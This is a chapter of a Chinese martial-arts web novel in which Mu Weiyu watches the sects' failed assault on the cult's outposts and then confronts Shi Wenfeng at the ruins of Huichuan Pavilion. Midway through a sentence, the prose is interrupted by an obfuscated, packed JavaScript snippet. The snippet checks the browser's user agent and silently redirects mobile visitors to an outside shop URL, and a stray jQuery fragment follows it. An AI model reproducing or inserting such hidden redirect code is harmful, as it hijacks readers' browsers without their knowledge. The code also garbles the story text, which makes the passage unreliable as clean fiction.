和时闻风分开后,慕微雨一个人悄悄溜出了客栈。
坐在房间内思来想去,慕微雨还是决定跟上去看看。只是看看不出手,应该也算不上违背师命吧。
慕微雨自认为自己没弄出什么动静,却没想到时闻风根本没关房间的门,她从房间离开的身影被时闻风看了个完全。
见慕微雨换了身深色的衣服,又用丝巾蒙了面,时闻风很快就想到了慕微雨想要干什么,他没有丝毫犹豫,提着刀跟了出去。
慕微雨轻功好,没过多久就追到了大部队的身后。她没有继续上前,而是保持着这般不远不近的距离,在后面远远地看着。
很快,大部队就到了入山口,这里是魔教天、地、玄、黄四座分坛的领地。
四派兵分四路,各带领一批江湖人,分别进攻一座分坛。
还未等四派靠近分坛,魔教众人便从分坛中鱼贯而出,打了四派一个措手不及。
一时间,刀剑相交声、打杀声不绝于耳。魔教显然已经做好了充分的准备,人数众多,攻势迅猛,四派很快就有些疲于应对。
慕微雨倚着树,紧了紧手中握着的剑。
她的小动作被时闻风看在眼里,时闻风很怕她一时冲动,冲进战局中,却又看见她提着剑的手微微放松,身形也松了下来。
慕微雨发现,魔教众人虽然进攻迅猛,却并未下死手,看起来不像是想要取众人的性命,而像是想要把这些人赶出去。
不过旁观者清,当局者却迷,慕微雨看清了一切,但在混战中的四派和江湖人却并没有看出这一点。
混战持续了很久,直到飞鹤宗白宗主见不少人都受了伤,下了撤退的命令。
最终,四派还是未能突破四座分坛,铩羽而归。
苍翠镇再次涌入大批江湖人,一天以前,这些人还是容光焕发、衣着光鲜、呼朋引伴,如今却变得衣袍脏乱、萎靡不振。
慕微雨回到客栈,装作没出过门的样子,站在窗前,看着这幅景象。
时闻风也装作没有跟在慕微雨身后出门的样子,敲响了慕微雨房间的门。
“也是没脑子,这么大张旗鼓,魔教当然会有所防范。”进屋后,时闻风毫不客气地点评着,“不过这么一来,五派倒也会安静一阵子。”
“各派都派出了精锐,只怕这次,皆是锐气大伤。”慕微雨轻叹一口气,“只不过如此一来,武林正道倒也只会认为,回川阁一事乃是魔教所为。”
时闻风不屑地轻哼一声,道:“武林正道,不过是装模作样而已,日子一久,记得回川阁之事的,又能有几人?”
慕微雨对此没法反驳,抿了抿唇,不再说话。
难道真相,对于这些人而言,真的一点都不重要吗?只因为魔教之名,就可以把一切坏事恶事全部推到魔教头上吗?
慕微雨烦闷地皱了皱眉。
“魔教莫名其妙被当成凶手,心中不爽,想要借此报复,却也没下杀手。”
“你怎么知道?”慕微雨瞥了时闻风一眼,他依旧是那副毫不在意的样子。
“你看这镇上,虽有不少伤员,但还没听说哪个门派死了人的。”
慕微雨正准备回话,却被一阵喧闹声吸引了视线。
集市街边,两个江湖人似乎因为买药之事吵了起来。
“明明是我先来的,为何将这药先卖给他?”
“我家师兄伤得更重,这药当然得卖给我!”
“我呸!谁伤得不重了?怎么,你家师兄更高贵?”
“我们五派,自然要比你们这些不入流的门派要高贵!”
“嘁,我看五派也就这德行!不顾大局把大家都煽动过来送死!”
“你再说一遍?!”
“我说,五派也就这德行!”
话音没落,五派弟子便一拳打在了对面的脸上。
“啸咏山庄的人。”时闻风给慕微雨补充着,“苍翠镇小,药铺也就那几家,这场面,旁的地方只怕也会看到。”
慕微雨深深地呼出一口气,关上了窗,隔绝了窗外的喧闹。
她不想管泠江五派和这些江湖人的事。
是非善恶,在这些人心里,究竟有没有分量?
慕微雨心中乱乱的,不过此时她也终于明白,为什么师父不论如何都要让自己出门游历。江湖,在师父的讲述和慕微雨的想象中,并不是这个样子。
“我们明日出发,去回川阁。”时闻风看出慕微雨并不想再理会这件事,岔开了话题。
“好。”慕微雨也知道,此时在苍翠镇多待也没什么必要,不如直接去回川阁看一眼,“早些走也好。”
“那好,明日一早,我来叫你。”
说完,时闻风便把空间留给了慕微雨一个人。
慕微雨独自坐在房间里,看着关上的门,陷入了沉思。
她的心中思绪万千,武林正道,泠江五派,魔教,江湖,一切的一切,都不是自己还未下山时预想的样子。
还有时闻风,这个被自己救下的回川阁弟子,他又是为了什么接近自己?
慕微雨想不明白,便索性不再去想,她向来信奉船到桥头自然直的道理,等时机到了,自己自然会看清一切。
第二天,时闻风一早就让小二准备了两匹快马和几天的干粮,做好了出行的准备。
慕微雨背着包袱、提着剑走下楼,时闻风已经在大堂中等了片刻,看到慕微雨出现,他大踏步走上前,接过了慕微雨的包袱。
回川阁离苍冥山不算远,不过三四日的路程。两人一路快马加鞭,在第三日的午后,到达了月相山下。
相比第一次来月相山,慕微雨的心情有些微妙。
虽然才过去不过一个月,但这一个月发生了太多的事情,让慕微雨觉得仿佛已经过去了很久。
“怎么了?”见慕微雨愣在原地,时闻风回头问道。
“没什么,走吧。”慕微雨摇摇头,驾马跟上了时闻风。
月相山山路千回百转,在时闻风的带领下,慕微雨总算没有像第一次来时那般迷路。
上一次在慕微雨眼前层层叠叠倾泻而下的高楼,如今已经变成了一片焦土。
木质结构的楼阁被尽数烧毁,只剩下一些烧了半截的框架和石柱,断壁残垣之间,似乎还能闻到残留的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17768901|209838||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
烟味。
废墟之中,一株从焦土中长出的小小的白色花朵迎着风,摇摇晃晃。
见此情形,慕微雨一时有些忧伤。
时闻风的面色也变得凝重起来,他走进废墟里,想要找到一些还未被烧毁的遗物,好为师门众人立一个衣冠冢。
慕微雨站在他身后,静静地看着他。
时闻风把找到的东西一样一样地埋进挖好的坑里,又在上面洒下几颗花种,摆了些带过来的干粮当作祭品。
见时闻风做完所有的事情,慕微雨才开口道:“其实你早就回来过一次。”
“阿雨为什么这么说?”时闻风转身看她。
慕微雨没有在意他对自己称呼的变化。
“我救你出来的时候,你身上可没有这两把刀。”慕微雨笑着看向时闻风背在背上的两把刀。
时闻风爱惜地摸了摸自己的刀,才道:“我似乎从未说过,我这是第一次回来。”
“你的伤也早就好了,功力也恢复了。”慕微雨继续说着,“那天早上,我让你帮我拿些吃食,若是你没有恢复功力,不会那么快就回来。”
“我怕阿雨饿着。”
“这些日子赶路,一路上你都气息平稳,不像是受伤之人。”慕微雨继续说着,“如此伪装,恐怕只是为了接近我,让我和你一起来回川阁。”
时闻风眸光一滞,旋即轻扯嘴角,一步一步朝慕微雨靠近:“阿雨这般聪明,难道猜不出我为何这么做吗?”
慕微雨拿剑柄抵住他,他才堪堪停下,目光缱绻,直直地盯着慕微雨。
“你想做什么?”
“我若是不这样做,阿雨又怎么会让我靠近,又跟着我一起走呢?”时闻风眼眸微眯,视线却半点没从慕微雨身上移开,“我说过,我现在能相信的人,只有阿雨了。”
见慕微雨不说话,时闻风又朝她靠近了半步:“回川阁的事情,除了魔教,就只有泠江五派有能力做到,阿雨觉得,我想报仇,还能去找五派吗?”
“而阿雨不一样,阿雨救了我,那便证明阿雨和那些人不是一伙的,所以,我能相信的,只有阿雨。”
慕微雨抬起头,迎着时闻风的目光看了回去:“你怎么确信,我会掺和此事?”
“我在赌。”时闻风的脸上浮现出胜券在握的微笑,“很显然,我赌赢了。”
“不错,你赌赢了。”慕微雨唇角微扬,语气也柔和了些许,“我的确还没办法,对亲眼见过的东西视若无睹。的确如你所说,此事不是魔教做的,那便只有泠江五派有能力办到,虽然还不知道是谁,也不知道他的目的是什么,但是他既然已经对回川阁下了手,他的目标就绝不仅仅是回川阁。”
“阿雨聪明。”时闻风赞许道,“回川阁只是开始,整个武林正道,都会有危险。”
“所以你赌赢了,我没办法对太白门的危险视而不见。”慕微雨收回了抵住时闻风肩膀的剑柄。
时闻风摸了摸肩膀上刚刚剑柄抵过的位置,嘴角轻轻翘起,又突然脸色一变,眸中一片寒意:“有人。”
慕微雨瞬间警觉,下意识向前一步,把时闻风护在自己身后。